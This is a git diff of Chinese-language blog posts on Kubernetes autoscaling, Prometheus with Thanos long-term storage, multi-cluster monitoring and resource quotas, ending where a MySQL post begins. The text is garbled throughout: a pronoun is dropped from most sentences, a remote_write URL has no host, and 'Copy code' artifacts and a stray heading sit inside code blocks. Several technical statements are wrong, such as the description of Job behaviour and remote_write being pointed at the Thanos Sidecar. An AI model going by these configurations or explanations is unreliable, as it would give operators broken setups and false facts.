CronJob,还有其他几种工作负载资源类型,它们各自有不同的用途: + +> Pod:Pod 是 Kubernetes 的最基本的运行单位,每个 Pod 包含一个或多个容器。Pod 可以直接创建,也可以由其他资源如 Deployment、StatefulSet 等管理。 + +> Deployment:Deployment 是一种管理 Pod 的资源,它可以确保任何时候都有指定数量的 Pod 在运行。Deployment 支持滚动更新和回滚,是运行无状态应用的常用资源。 + +> StatefulSet:StatefulSet 是一种管理 Pod 的资源,它用于运行有状态的应用。与 Deployment 不同,StatefulSet 中的每个 Pod 都有一个稳定的网络标识符和持久存储。 + +> DaemonSet:DaemonSet 确保所有(或某些)节点上运行一个 Pod 的副本。当有节点加入集群时,会为该节点添加一个 Pod;当有节点从集群中移除时,这个 Pod 也会被垃圾回收。删除 DaemonSet 将会删除它创建的所有 Pod。 + +> Job:Job 是一种一次性任务,它保证指定数量的 Pod 成功终止。当 Pod 成功完成任务后,Job 会创建一个新的 Pod 来替换它。 + +> ReplicaSet:ReplicaSet 确保任何时间都有指定数量的 Pod 副本在运行。它通常由 Deployment 管理,不需要直接创建。 + +> 以上这些都是 Kubernetes 的工作负载资源,它们用于运行和管理容器化的应用。 + + +###### 基于HTTP 请求的伸缩 + +HTTP 请求的伸缩是指根据 HTTP 请求的数量或速率来动态调整 Pod 的数量。这通常需要使用到 Kubernetes 的 Ingress 控制器和 HorizontalPodAutoscaler。以下是实现步骤: + +> 1.配置的 Ingress 控制器以收集 HTTP 请求的指标 + +在 Kubernetes 中,Ingress 控制器可以用来路由外部的 HTTP/HTTPS 流量到集群内的服务。为了收集 HTTP 请求的指标,需要配置的 Ingress 控制器以启用 metrics。这通常涉及到在 Ingress 控制器的配置中启用 Prometheus metrics。具体的配置方法取决于使用的 Ingress 控制器的类型。例如,如果使用的是 NGINX Ingress 控制器,可以在配置中设置 `enable-vts-status: true` 来启用 metrics。 + + +>2.创建一个 HorizontalPodAutoscaler 对象,该对象使用 HTTP 请求的指标作为伸缩的依据。 + +在 Kubernetes 中,Horizontal Pod Autoscaler(HPA)是用来自动调整工作负载的 Pod 数量的。HPA 会根据指定的指标来决定是否需要增加或减少 Pod 的数量。这些指标可以是内置的,例如 Pod 的 CPU 利用率,也可以是自定义的,例如 HTTP 请求的数量。 + +当的 Ingress 控制器开始收集 HTTP 请求的指标后,这些指标就可以被 HPA 使用。可以在 HPA 的配置中指定想要使用的指标,然后 HPA 会根据这些指标的值来决定是否需要调整 Pod 的数量。 + +例如,可以创建一个 HPA 对象,该对象使用每个 Pod 的 HTTP 请求速率作为伸缩的依据。可以在 HPA 的配置中设置一个目标值,例如每个 Pod 的 HTTP 请求速率为 10。然后 HPA 会监视这个指标,如果实际的 HTTP 请求速率超过了这个目标值,HPA 就会增加 Pod 的数量,如果实际的 HTTP 请求速率低于这个目标值,HPA 就会减少 Pod 的数量。 + +创建 HPA 对象的目的是为了使的应用可以自动地根据负载进行伸缩。这样可以使的应用在负载增加时可以自动增加资源来处理更多的请求,而在负载减少时可以自动减少资源以节省成本。 + +一旦的 Ingress 控制器开始收集 HTTP 请求的指标,就可以创建一个 HPA 对象来使用这些指标。在 HPA 的 YAML 配置文件中,可以指定一个 metrics 字段来定义想要使用的指标。例如,可以定义一个 type: Pods 的指标,并设置 target: http_requests 和 averageValue: 10,这样 HPA 就会尝试保持每个 Pod 的 HTTP 请求速率为 10。 + +以下是一个 HPA 的 YAML 配置示例: + +```yaml +apiVersion: autoscaling/v2beta2 +kind: HorizontalPodAutoscaler +metadata: + name: my-hpa +spec: + scaleTargetRef: + apiVersion: apps/v1 + kind: Deployment + name: my-deployment + minReplicas: 1 + maxReplicas: 10 + metrics: + - type: Pods + pods: + metric: + name: http_requests + target: + type: AverageValue + averageValue: 10 + +``` +在这个示例中,HPA 会尝试调整 my-deployment 的 Pod 数量,以保持每个 Pod 的 HTTP 请求速率为 10。 + +> 3.将编写的HPA应用到集群 + +```shell +kubectl apply -f my-hpa.yaml +``` + +一旦的 HPA 对象被创建,Kubernetes 就会开始监视与 HPA 关联的 Deployment 的指标。在上面的例子中,Kubernetes 会监视名为 my-deployment 的 Deployment 的每个 Pod 的 HTTP 请求速率。 + +如果实际的 HTTP 请求速率超过了在 HPA 定义中设置的目标值(在的例子中,目标值是每个 Pod 的 HTTP 请求速率为 10),那么 Kubernetes 就会增加 my-deployment 的 Pod 数量,直到 HTTP 请求速率下降到目标值以下。相反,如果实际的 HTTP 请求速率低于目标值,那么 Kubernetes 就会减少 my-deployment 的 Pod 数量,直到 HTTP 请求速率增加到目标值以上。 + +可以使用 kubectl get hpa 命令来查看的 HPA 对象的状态,如下所示: + +```shell +kubectl get hpa my-hpa +``` + +这个命令会显示 my-hpa 的当前状态,包括当前的 Pod 数量、目标的 Pod 数量、当前的指标值等。 + +# 2.Prometheus 大规模存储生产实践 + + +### Prometheus+ Thanos 实现大规模指标存储 + +> 1.安装 Prometheus 和 Thanos:首先,需要在的 Kubernetes 集群中安装 Prometheus 和 Thanos。可以使用 Helm、Operator 或者直接使用 YAML 文件来安装。具体的安装方法可以参考 Thanos 官方文档。 + +> 2.配置 Prometheus:安装完 Prometheus 和 Thanos 后,需要配置 Prometheus 以将指标数据发送到 Thanos。这通常涉及到修改 Prometheus 的配置文件,以添加一个新的远程写入端点,该端点指向 Thanos Sidecar。 + +> 3.配置 Thanos:然后,需要配置 Thanos 以从 Prometheus 接收指标数据,并将这些数据存储在一个支持的对象存储服务中,如 Amazon S3、Google Cloud Storage 或者 MinIO 等。 + +> 4.配置 Thanos Query:Thanos Query 组件提供了一个全局的查询视图,它可以从所有 Thanos Store 和 Prometheus 实例中查询数据。需要配置 Thanos Query 以知道哪些 Store 和 Prometheus 实例可用。 + +> 5.验证和监控:最后,应该验证的配置是否正确,并设置适当的监控和告警,以确保的 Prometheus 和 Thanos 集群正常运行。 + + +> 参考:https://thanos.io/tip/thanos/getting-started.md/ + + + +##### Thanos ? + +##### Thanos与 Prometheus集成 +Thanos Sidecar 是一个与 Prometheus 实例一起部署的组件,它可以选择性地将指标上传到对象存储,并允许 Queriers 使用常见的、高效的 StoreAPI 查询 Prometheus 数据。具体来说,它在 Prometheus 的 remote-read API 之上实现了 Thanos 的 Store API,这使得 Queriers 可以将 Prometheus 服务器视为另一个时间序列数据源,而无需直接与其 API 交互。 + +如果选择使用 Thanos sidecar 也将数据上传到对象存储,需要满足以下条件: +- 必须指定对象存储(使用 --objstore.* 标志) +- 它只上传未压缩的 Prometheus 块。对于压缩块,参见 上传压缩块。 +- 必须将 --storage.tsdb.min-block-duration 和 --storage.tsdb.max-block-duration 设置为相等的值,以禁用本地压缩,以便使用 Thanos sidecar 上传,否则如果 sidecar 只暴露 StoreAPI 并且的保留期正常,则保留本地压缩。建议使用默认的 2h。提到的参数设置为相等的值会禁用 Prometheus 的内部压缩,这是为了避免在 Thanos compactor 做其工作时上传的数据被破坏,这对于数据一致性至关重要,如果计划使用 Thanos compactor,不应忽视这一点。 +- 为了将 Thanos 与 Prometheus 集成,需要在 Prometheus 中启用一些标志,包括 --web.enable-admin-api 和 --web.enable-lifecycle。然后,可以在 Thanos sidecar 中设置 --tsdb.path、--prometheus.url 和 --objstore.config-file 标志,以连接到 Prometheus 和的对象存储。 + +以下是如何将 Prometheus 和 Thanos 集成的基本步骤: + +安装 Thanos Sidecar: + +Thanos Sidecar 是一个伴随 Prometheus 实例运行的容器/服务。它监视 Prometheus 的数据目录,并为新的块数据上传到对象存储(例如 AWS S3, GCS, MinIO 等)。 +启动 Sidecar,同时指定对象存储的配置。 +配置 Prometheus: + +修改 Prometheus 的配置文件,以启用远程写功能,并指向 Thanos Sidecar。 +在 Prometheus 配置中添加以下内容: + +```yaml +remote_write: + - url: "http://:/api/v1/receive" +Thanos Store: +``` +Thanos Store 是另一个组件,它提供了访问在对象存储中存储的长期指标数据的能力。 +它可以被 Thanos Query 查询,从而提供对旧指标数据的访问。 + +Thanos Query: +Thanos Query 是用户面向的组件,用于查询 Prometheus 和 Thanos Store 中的数据。 +当查询旧的数据时,Thanos Query 将从 Thanos Store 中检索数据。对于最近的数据,它将直接查询 Prometheus。 + +对象存储配置: +需要为 Thanos 配置一个对象存储,例如 AWS S3 或 GCS。这通常通过一个配置文件完成,该文件定义了如何访问和认证到选择的对象存储。 +其他可选的 Thanos 组件: + +Thanos Compactor:减少对象存储中的数据并压缩旧的时间序列数据块。 +Thanos Ruler:为基于长期数据的警报和规则评估提供支持。 + +##### 利用S3与 作为Thanos 后端存储服务 +对于使用 S3 作为 Thanos 后端存储服务,需要在 Thanos 的配置中指定 S3 的详细信息。这通常在 Thanos 的启动参数或配置文件中完成,其中包括 S3 的访问密钥、秘密密钥、端点和存储桶名称。具体的配置可能会根据使用的 S3 兼容服务(如 Amazon S3、MinIO、Ceph 等)有所不同。 + +### Prometheus实现多租户监控 + +在 Kubernetes 中实现 Prometheus 的多租户监控,可以使用 Thanos 的多租户支持。Thanos 通过使用外部标签来支持多租户。对于这样的用例,推荐使用基于 Thanos Sidecar 的方法,配合分层的 Thanos Queriers。 + +> 1.配置外部标签:在 Prometheus 的配置中,可以为每个租户定义一个唯一的外部标签。这个标签将被添加到该租户的所有指标中,从而使能够区分来自不同租户的指标。 + +```yaml +global: + external_labels: + tenant: tenant1 + +``` + +> 配置 Thanos Sidecar:Thanos Sidecar 需要被配置为读取 Prometheus 的数据,并将数据上传到对象存储。需要为每个 Prometheus 实例配置一个 Thanos Sidecar。 + +```yaml +containers: +- args: + - sidecar + - --prometheus.url=http://localhost:9090 + - --tsdb.path=/prometheus + - --objstore.config=$(OBJSTORE_CONFIG) + +``` +> 配置 Thanos Querier:Thanos Querier 需要被配置为从对象存储中读取数据,并提供一个查询接口。可以为每个租户配置一个 Thanos Querier,这样每个租户只能查询到自己的数据。例如: +```yaml +containers: +- args: + - query + - --store=dnssrv+_grpc._tcp.thanos-store.monitoring.svc + - --store=dnssrv+_grpc._tcp.thanos-store-tenant1.monitoring.svc + +``` + + +> 配置 Thanos Store:Thanos Store 需要被配置为从对象存储中读取数据,并提供一个查询接口。需要为每个租户配置一个 Thanos Store,这样每个租户只能查询到自己的数据。 + +```yaml +containers: +- args: + - store + - --objstore.config=$(OBJSTORE_CONFIG) + - --selector.relabel-config=$(SELECTOR_RELABEL_CONFIG) + +``` + +> 配置 Thanos Compactor:Thanos Compactor 需要被配置为从对象存储中读取数据,并进行压缩和清理。需要为每个租户配置一个 Thanos Compactor,这样每个租户只能查询到自己的数据。 + +```yaml +containers: +- args: + - compact + - --objstore.config=$(OBJSTORE_CONFIG) + - --data-dir=/var/thanos/compact + - --selector.relabel-config=$(SELECTOR_RELABEL_CONFIG) +``` + +把以上添加到的 Kubernetes 配置 + +##### 利用 Thanos实现多集群监控 + +对于使用 Thanos 实现多集群监控,可以使用 Thanos Query 组件来查询多个 Prometheus 和 Thanos Store 的数据。需要为每个集群配置一个 Thanos Query,然后在全局的 Thanos Query 中配置这些 Thanos Query 的地址。 + +> 1.设置 Thanos Sidecar:在每个 Prometheus 实例旁边运行 Thanos Sidecar,Sidecar 将 Prometheus 的数据上传到对象存储中。 + +> 2.设置 Thanos Store:Thanos Store 作为一个网关,将查询转换为远程对象存储的操作。需要为每个集群配置一个 Thanos Store。 + +> 3.设置 Thanos Query:Thanos Query 是 Thanos 的主要组件,它是发送 PromQL 查询的中心点。Thanos Query 可以将查询分发到所有的 "stores"。这些 "stores" 可能是任何其他提供指标的 Thanos 组件。Thanos Query 还负责去重,如果同样的指标来自不同的 stores 或 Prometheus,Thanos Query 可以去重这些指标。 + +> 4.设置 Thanos Query Frontend:Thanos Query Frontend 作为 Thanos Query 的前端,它的目标是将大型查询分解为多个较小的查询,并缓存查询结果。 + +> 5.配置 Grafana:最后,可以在 Grafana 中配置 Thanos Query Frontend 作为数据源,这样就可以在 Grafana 中查询和可视化的指标了。 + + +以下是在 Kubernetes 中实现 Prometheus 的多租户监控和使用 Thanos 实现多集群监控的步骤: + +> 1.在每个集群上安装 Prometheus Operator,首先,需要在每个集群上安装 Prometheus Operator。这可以通过 Helm chart 来完成。例如,可以使用以下命令安装 Prometheus Operator,并为其配置 Thanos sidecar: + +```yaml +helm repo add bitnami https://charts.bitnami.com/bitnami +helm install prometheus-operator \ + --set prometheus.thanos.create=true \ + --set operator.service.type=ClusterIP \ + --set prometheus.service.type=ClusterIP \ + --set alertmanager.service.type=ClusterIP \ + --set prometheus.thanos.service.type=LoadBalancer \ + --set prometheus.externalLabels.cluster=\"data-producer-0\" \ + bitnami/prometheus-operator +``` +在这个命令中,`prometheus.thanos.create=true` 会创建一个 Thanos sidecar 容器,`prometheus.thanos.service.type=LoadBalancer` 会使 sidecar 服务在公共负载均衡器 IP 地址上可用。`prometheus.externalLabels.cluster=\"data-producer-0\"` 会为每个 Prometheus 实例定义一个或多个唯一的标签,这些标签在 Thanos 中用于区分不同的存储或数据源。 + +> 2.在的 Kubernetes 集群上安装和配置 Thanos接下来,需要在 "data aggregator" 集群上安装 Thanos,并将其与 Alertmanager 和 MinIO 集成作为对象存储。可以创建一个 values.yaml 文件,然后使用以下命令安装 Thanos: + +```yaml +helm install thanos bitnami/thanos \ + --values values.yaml +``` + +> 3.在同一个 “data aggregator” 集群上安装 Grafana:使用以下命令安装 Grafana,其中 GRAFANA-PASSWORD 是为 Grafana 应用设置的密码: + +```yaml +helm install grafana bitnami/grafana \ + --set service.type=LoadBalancer \ + --set admin.password=GRAFANA-PASSWORD + +``` + +> 4.配置 Grafana 使用 Thanos 作为数据源在 Grafana 的仪表板中,点击 “Add data source” 按钮。在 “Choose data source type” 页面上,选择 “Prometheus”。在 “Settings” 页面上,将 Prometheus 服务器的 URL 设置为 http://NAME:PORT,其中 NAME 是在步骤 2 中获取的 Thanos 服务的 DNS 名称,PORT 是相应的服务端口。保留所有其他值为默认值。点击 “Save & Test” 保存并测试配置。如果一切配置正确,应该会看到一个成功消息。 + +> 测试多集群监控系统:在此阶段,可以开始在的 “data producer” 集群中部署应用,并在 Thanos 和 Grafana 中收集指标。例如,可以在每个 “data producer” 集群中部署一个 MariaDB 复制集群,并在 Grafana 中显示每个 MariaDB 服务生成的指标。 + +参考链接:https://tanzu.vmware.com/developer/guides/prometheus-multicluster-monitoring/ + + +##### Thanos大规模和高性能配置优化 + +对于 Thanos 的大规模和高性能配置优化,可以参考 Thanos 的官方文档,其中包含了许多关于如何优化 Thanos 配置的建议和最佳实践。这些优化可能包括调整 Thanos 组件的资源限制、配置对象存储的并发度、调整查询的超时和重试策略等。 + +> 1.缓存:缓存是提高响应时间的常见解决方案。Thanos Query Frontend 是提高查询性能的关键。以下是 Zapier 使用的一些设置: + +```yaml +query-frontend-config.yaml: | + type: MEMCACHED + config: + addresses: ["host:port"] + timeout: 500ms + max_idle_connections: 300 + max_item_size: 1MiB + max_async_concurrency: 40 + max_async_buffer_size: 10000 + max_get_multi_concurrency: 300 + max_get_multi_batch_size: 0 + dns_provider_update_interval: 10s + expiration: 336h + auto_discovery: true +query-frontend-go-client-config.yaml: | + max_idle_conns_per_host: 500 + max_idle_conns: 500 +``` + +> 2.指标降采样:并不需要保留原始分辨率的指标。当查询数据时,对特定时间范围内的总体视图和趋势感兴趣。使用 Thanos Compactor 对数据进行降采样和压缩。以下是 Zapier 使用的一些设置: + +```yaml +retentionResolutionRaw: 90d +retentionResolution5m: 1y +retentionResolution1h: 2y +consistencyDelay: 30m +compact.concurrency: 6 +downsample.concurrency: 6 +block-sync-concurrency: 60 + +``` + +> 3.保持指标良好:无论的数据缓存或降采样多少,过多的高基数指标都会杀死的性能。确保只存储重要的指标,并丢弃不重要的指标。 + + +> 4.分片的长期存储:如果的数据量太大,只用一组 Thanos Store 服务来扫描每个 TB 的指标是很困难的。解决方案类似于数据库。当一个表太大时,只需对其进行分片!Zapier 就是这样做的,他们有三个分片组的 Thanos Store,它们观察和服务 S3 存储桶的不同分片。 + +> 5.扩展和高可用性:虽然我们已经谈了很多关于性能的问题,但扩展性和可用性往往更重要。我们如何扩展 Prometheus?我们可以扩展副本,然后坐下来放松吗?不幸的是,不完全是这样。Prometheus 的设计目标是简单并可靠地提供其主要功能。扩展和高可用性并不是开箱即用的。 + + +参考:https://zapier.com/blog/five-recommendations-when-running-thanos-and-prometheus/ + + +### Prometheus高可用的部署方式 + +Prometheus 是一个开源的系统监控和警报工具包,最初由 SoundCloud 构建。Prometheus 收集和存储其指标作为时间序列数据,即指标信息存储在其记录的时间戳,以及可选的键值对标签。 + +在 Prometheus 的高可用部署中,有几个关键的组件和概念: + +> Prometheus Server:这是 Prometheus 的主要组件,负责抓取和存储时间序列数据。 + +##### HA部署 + +> HA 部署:为了实现高可用性,可以运行多个 Prometheus 服务器实例,这些实例独立地抓取和存储数据。如果一个实例出现故障,其他实例可以继续提供服务。可以使用负载均衡器来分发查询请求到这些 Prometheus 服务器实例。 + +例如,可以使用 Kubernetes 的 Deployment 和 Service 来部署和管理的 Prometheus 服务器实例。以下是一个简单的例子: + +```yaml +Copy code +apiVersion: apps/v1 +kind: Deployment +metadata: + name: prometheus +spec: + replicas: 2 + selector: + matchLabels: + app: prometheus + template: + metadata: + labels: + app: prometheus + spec: + containers: + - name: prometheus + image: prom/prometheus:v2.30.3 + ports: + - containerPort: 9090 +--- +apiVersion: v1 +kind: Service +metadata: + name: prometheus +spec: + selector: + app: prometheus + ports: + - protocol: TCP + port: 80 + targetPort: 9090 +``` + +##### 远程存储 + +> 远程存储:Prometheus 支持将数据存储到远程存储系统,如 Thanos、Cortex、M3DB 等。这可以提供更长的数据保留期限,以及更好的查询性能和可用性。 + +在 Prometheus 中配置远程存储,例如 Thanos,可以参考以下步骤: + +> 1.安装 Thanos:首先,需要在的环境中安装 Thanos。可以从 Thanos 的 GitHub 仓库下载最新的发布版本。 + +> 2.配置 Prometheus:在的 Prometheus 配置文件中,需要添加一个新的远程写入端点,指向 Thanos Sidecar。这可以通过在 Prometheus 的配置文件中添加以下内容来完成: + +```yaml +remote_write: + - url: "http://:/api/v1/receive" +``` + +在这里,: 是的 Thanos Sidecar 的地址和端口。 + +> 3.配置 Thanos Sidecar:Thanos Sidecar 需要被配置为读取 Prometheus 的数据,并将数据上传到对象存储。可以在 Thanos Sidecar 的配置文件中指定的对象存储的详细信息。例如,如果使用 Amazon S3 作为的对象存储,的 Thanos Sidecar 配置可能看起来像这样: + + +```yaml +type: S3 +config: + bucket: "my-s3-bucket" + endpoint: "s3.amazonaws.com" + access_key: "my-access-key" + secret_key: "my-secret-key" + +``` + +> 4.启动 Thanos Sidecar:最后,需要启动 Thanos Sidecar,并确保它可以正确连接到的 Prometheus 和对象存储。 + + +##### 联邦集群 + +> 联邦集群:Prometheus 支持联邦集群,即一个 Prometheus 服务器可以抓取另一个 Prometheus 服务器的数据。这可以用于聚合多个 Prometheus 服务器的数据,或者将数据从一个 Prometheus 服务器迁移到另一个服务器。 + +例如,可以在 Prometheus 的配置文件中添加一个 scrape_config 来抓取另一个 Prometheus 服务器的数据: + +```yaml +Copy code +scrape_configs: +- job_name: 'federate' + scrape_interval: 15s + honor_labels: true + metrics_path: '/federate' + params: + 'match[]': + - '{job="prometheus"}' + - '{__name__=~"job:.*"}' + static_configs: + - targets: + - 'source-prometheus-1:9090' + - 'source-prometheus-2:9090' + +``` +以上就是 Prometheus 的高可用部署方式的一些基本概念和步骤。在实际操作中,可能需要根据的具体需求和环境来调整这些配置。 + + +# 总结 + + +以下是从部署 Prometheus 集群到使用 Thanos 持久存储的完整步骤和实例代码: + +> 1.部署 Prometheus:首先,需要在的 Kubernetes 集群中部署 Prometheus。这可以通过使用 Helm chart、Operator 或者直接使用 Kubernetes manifest 来完成。以下是一个简单的 Prometheus 部署的 YAML 文件示例: + +```yaml +apiVersion: apps/v1 +kind: Deployment +metadata: + name: prometheus +spec: + replicas: 1 + selector: + matchLabels: + app: prometheus + template: + metadata: + labels: + app: prometheus + spec: + containers: + - name: prometheus + image: prom/prometheus:v2.20.1 + args: + - "--config.file=/etc/prometheus/prometheus.yml" + - "--storage.tsdb.path=/prometheus" + ports: + - containerPort: 9090 + +``` + + +> 2.部署 Thanos Sidecar:Thanos Sidecar 需要与 Prometheus 在同一 Pod 中运行。需要修改 Prometheus 的部署以包含 Thanos Sidecar。以下是一个包含 Thanos Sidecar 的 Prometheus 部署的 YAML 文件示例: + +```yaml +apiVersion: apps/v1 +kind: Deployment +metadata: + name: prometheus +spec: + replicas: 1 + selector: + matchLabels: + app: prometheus + template: + metadata: + labels: + app: prometheus + spec: + containers: + - name: prometheus + image: prom/prometheus:v2.20.1 + args: + - "--config.file=/etc/prometheus/prometheus.yml" + - "--storage.tsdb.path=/prometheus" + ports: + - containerPort: 9090 + - name: thanos-sidecar + image: thanosio/thanos:v0.15.0 + args: + - "sidecar" + - "--prometheus.url=http://localhost:9090" + - "--tsdb.path=/prometheus" + - "--objstore.config-file=/etc/thanos/bucket.yml" + +``` + + +> 3.部署 Thanos Store:Thanos Store 提供了一个查询接口,可以从对象存储中读取数据。以下是一个 Thanos Store 的部署的 YAML 文件示例 + +```yaml +apiVersion: apps/v1 +kind: Deployment +metadata: + name: thanos-store +spec: + replicas: 1 + selector: + matchLabels: + app: thanos-store + template: + metadata: + labels: + app: thanos-store + spec: + containers: + - name: thanos-store + image: thanosio/thanos:v0.15.0 + args: + - "store" + - "--data-dir=/var/thanos/store" + - "--objstore.config-file=/etc/thanos/bucket.yml" +``` + +部署 Thanos Query:Thanos Query 提供了一个查询接口,可以从 Thanos Sidecar 和 Thanos Store 中读取数据。以下是一个 Thanos Query 的部署的 YAML 文件示例: + +```yaml +apiVersion: apps/v1 +kind: Deployment +metadata: + name: thanos-query +spec: + replicas: 1 + selector: + matchLabels: + app: thanos-query + template: + metadata: + labels: + app: thanos-query + spec: + containers: + - name: thanos-query + image: thanosio/thanos:v0.15.0 + args: + - "query" + - "--store=thanos-store:19090" + - "--store=thanos-sidecar:19090" +``` + +服务发现:Prometheus 提供了多种服务发现机制,包括静态配置、DNS 查询、文件系统观察等。需要根据的环境和需求选择合适的服务发现机制。例如,如果的服务都注册到了一个 DNS 服务器,可以在 Prometheus 的配置文件中配置 DNS 服务发现: +```yaml +scrape_configs: + - job_name: 'my-service' + dns_sd_configs: + - names: + - 'my-service.example.com' +``` +持久化存储:Prometheus 默认将数据存储在本地磁盘上,但也可以配置 Prometheus 使用远程存储,如 S3、GCS 等。需要在 Prometheus 的配置文件中配置远程存储: + +```yaml +remote_write: + - url: "http://my-remote-storage.example.com/write" +remote_read: + - url: "http://my-remote-storage.example.com/read" +``` + +网络策略:可能需要配置网络策略来限制 Prometheus 的网络访问。例如,可以使用 Kubernetes 的 NetworkPolicy 来限制 Prometheus 只能访问特定的服务: + +```yaml +apiVersion: networking.k8s.io/v1 +kind: NetworkPolicy +metadata: + name: prometheus-network-policy +spec: + podSelector: + matchLabels: + app: prometheus + policyTypes: + - Ingress + ingress: + - from: + - podSelector: + matchLabels: + app: my-service +``` + +# 其他 + +Kubernetes 是一个用于自动部署、扩展和管理容器化应用程序的开源平台。它的核心概念包括资源、控制器和 API 服务器。 + +资源:在 Kubernetes 中,资源是一个持久化的实体,它代表了集群中的某种内容。例如,Pod 是一个资源,它代表了集群中运行的一组容器。Service 是另一个资源,它定义了如何访问 Pod。Kubernetes 提供了许多内置的资源类型,也可以定义自己的自定义资源(Custom Resource)。 + +控制器:在 Kubernetes 中,控制器是一个监视资源并确保其状态与预期一致的实体。例如,ReplicaSet 控制器会监视所有的 ReplicaSet 资源,如果一个 ReplicaSet 的实际 Pod 数量与预期的数量不一致,控制器就会创建或删除 Pod 以匹配预期的数量。控制器通常运行在 Kubernetes 控制平面上,但也可以创建自己的自定义控制器。 + +API 服务器:API 服务器是 Kubernetes 的主要接口,它提供了操作和管理集群的所有功能。当使用 kubectl 命令或 Kubernetes 客户端库时,实际上是在与 API 服务器进行交互。API 服务器负责处理这些请求,并更新其后端的数据存储(通常是 etcd)以反映这些更改。 + +Kubernetes 的内部工作原理基于这些概念。当创建、更新或删除一个资源时,的请求会被发送到 API 服务器。API 服务器会处理的请求,并更新其后端的数据存储。然后,相应的控制器会检测到这个更改,并采取行动以确保集群的实际状态与的请求一致。例如,如果创建了一个新的 ReplicaSet,ReplicaSet 控制器就会创建相应数量的 Pod。 + +这是 Kubernetes 的基本工作原理,但实际上 Kubernetes 的功能和复杂性远超这些。例如,Kubernetes 还包括调度器(用于决定在哪个节点上运行 Pod)、kubelet(在每个节点上运行,负责启动和停止 Pod)、服务网络(用于在集群内部路由流量)等组件。 + + + + + + + diff --git a/_posts/2023-9-26-test-markdown.md b/_posts/2023-9-26-test-markdown.md new file mode 100644 index 000000000000..9a41c8d4cbf0 --- /dev/null +++ b/_posts/2023-9-26-test-markdown.md @@ -0,0 +1,125 @@ +--- +layout: post +title: Horizontal Pod Autoscaling +subtitle: +tags: [Kubernetes] +--- + +> 需要注意的是,使用Horizontal Pod Autoscaling之前,minikube必须先安装好heapster,让Horizontal Pod Autoscaling可以知道目前Kubernetes Cluster 中的资源使用状况(metrics). + +下面是一个helloworld-deployment.yaml文件 + +```yaml +apiVersion: apps/v1beta2 +kind: Deployment +metadata: + name: helloworld-deployment +spec: + replicas: 2 + selector: + matchLabels: + app: helloworld-pod + template: + metadata: + labels: + app: helloworld-pod + spec: + containers: + - name: my-pod + image: zxcvbnius/docker-demo:latest + ports: + - containerPort: 3000 + resources: + requests: + cpu: 200m +``` + +```shell +$ kubectl create -f ./helloworld-deployment.yaml +deployment "hello-deployment" created +``` + + +接着创建一个helloworld-service文件,让Kubernetes Cluster 中的其他物件可以访问到helloworld-deployment,指令如下: + +```shell +$ kubectl expose deploy helloworld-deployment \ +> --name helloworld-service \ +> --type==ClusterIP +service "helloworld-service" exposed +``` + +用kubectl get 查看 +```shell +$ kubectl get deploy,svc +``` + +接着创建 helloworld-hpa,指令如下 + + + +```yaml +# helloworld-hpa.yaml +apiVersion: autoscaling/v1 +kind: HorizontalPodAutoscaler +metadata: + name: helloworld-hpa +spec: + scaleTargetRef: + apiVersion: apps/v1beta2 + kind: Deployment + name: helloworld-deployment + minReplicas: 2 + maxReplicas: 5 + targetCPUUtilizationPercentage: 50 +``` + +```shell +$ kubectl create -f ./helloworld-hpa.yaml +horizontalpodautoscaler "helloworld-hpa" created +``` + + +用kubectl get 检视目前状况, + +```shell +$ kubectl get deploy ,hpa +``` +可以看到TARGETS 的栏位目前是, / 50%。稍等久一点,等helloworld-hpa 从heapster 抓到目前的资料则可看到数字的变化, + +接着,我们要在minikube 里面运行一个server不断去访问helloworld-pod 使CPU 的使用率超过100 m,再来观察helloworld-hpa 是否会侦测到帮我们新增Pod,指令如下: + +```shell +$ kubectl run -i --tty alpine --image=alpine --restart=Never -- sh +``` +接着安装curl 套件, + +```shell +apk update && apk add curl +``` + +接着访问helloworld-service,会吐回Hello World! 的字串, + +```shell +$ curl http://10.108.56.58:3000 +Hello World! +``` + +接着,我们设置一个无穷回圈,透过curl 不断送请求给helloworld-deployment,指令如下, + +```shell +while true; do curl http://10.108.56.58:3000; done +``` + +接着,再回头看helloworld-hpa 的状态,可以发现目前CPU 的使用率以超出我们所设定的50%, + +```shell +kubectl get deploy,hpa +``` +若再观察一阵子,会看到 helloworld-deployment底下已有4 个Pod,代表helloworld-hpa 帮我们实现了Autoscaling + +我们停止curl 指令,过了一阵子之后可以发现原本4 个Pod 已经退回到原本设定的2 个了 + +```shell +kubectl get deploy,hpa +``` diff --git a/_posts/2023-9-27-test-markdown.md b/_posts/2023-9-27-test-markdown.md new file mode 100644 index 000000000000..81fe6ebbdff9 --- /dev/null +++ b/_posts/2023-9-27-test-markdown.md @@ -0,0 +1,61 @@ +--- +layout: post +title: Resource Quotas +subtitle: +tags: [Kubernetes] +--- + +Kubernetes 提供我们Resource Quotas元件让Kubernetes 的管理者,不只能限制每个container 能存取的资源多寡,同时也能透过与Namespaces的搭配限制每个团队能使用的总资源。 + +## 什么是Resource Quotas? + +每一个container 都可以有属于它自己的resource request与resource limit,我们在设定档中加入spec.resources.requests.cpu要求该container 运行时需要多少CPU 的资源。而 Kubernetes 会透过设定的 resource request 去决定把 Pod 分配到哪个 Node 上。 + +> 我们也可以将resource request视为该Pod 最小需要的资源. + + +以helloworld-deployment.yaml为例, + +```yaml +apiVersion: apps/v1beta2 +kind: Deployment +metadata: + name: helloworld-deployment +spec: + replicas: 2 + selector: + matchLabels: + app: helloworld-pod + template: + metadata: + labels: + app: helloworld-pod + spec: + containers: + - name: my-pod + image: zxcvbnius/docker-demo:latest + ports: + - containerPort: 3000 + resources: + requests: + cpu: 200m + limits: + cpu: 400m +``` + +spec.resources.limits.cpu +该栏位代表,这个container 最多能使用的cpu 的资源为400m 等同于400milicpu(milicore) + +若是透过kubectl create 创建hello-deployment,可以从Grafana发现多了limit, + +除了可以针对CPU与Memory等计算资源限制之外,也可以限制 + +configmaps +persistentvolumesclaims +pods +replicationscontrollers +resourcequotas +services +services.loadbalancer +secrets +等资源数量上的限制。 \ No newline at end of file diff --git a/_posts/2023-9-28-test-markdown.md b/_posts/2023-9-28-test-markdown.md new file mode 100644 index 000000000000..a81b1b1a2965 --- /dev/null +++ b/_posts/2023-9-28-test-markdown.md @@ -0,0 +1,478 @@ +--- +layout: post +title: MySQL主从复制/MySQL熔断机制/MySQL分库分表/MySQL监控/MySQL高可用/MySQL备份 +subtitle: +tags: [Mysql] +--- + +## MySQL主从复制 + +MySQL的主从复制是一种数据备份方法,它允许数据从一个MySQL数据库服务器(主服务器)复制到一个或多个MySQL数据库服务器(从服务器)。主从复制的主要用途是在主服务器发生故障时,可以通过从服务器进行故障切换,以实现数据的高可用性和故障恢复。 + +#### 基于二进制日志(Binary Log)的复制 + 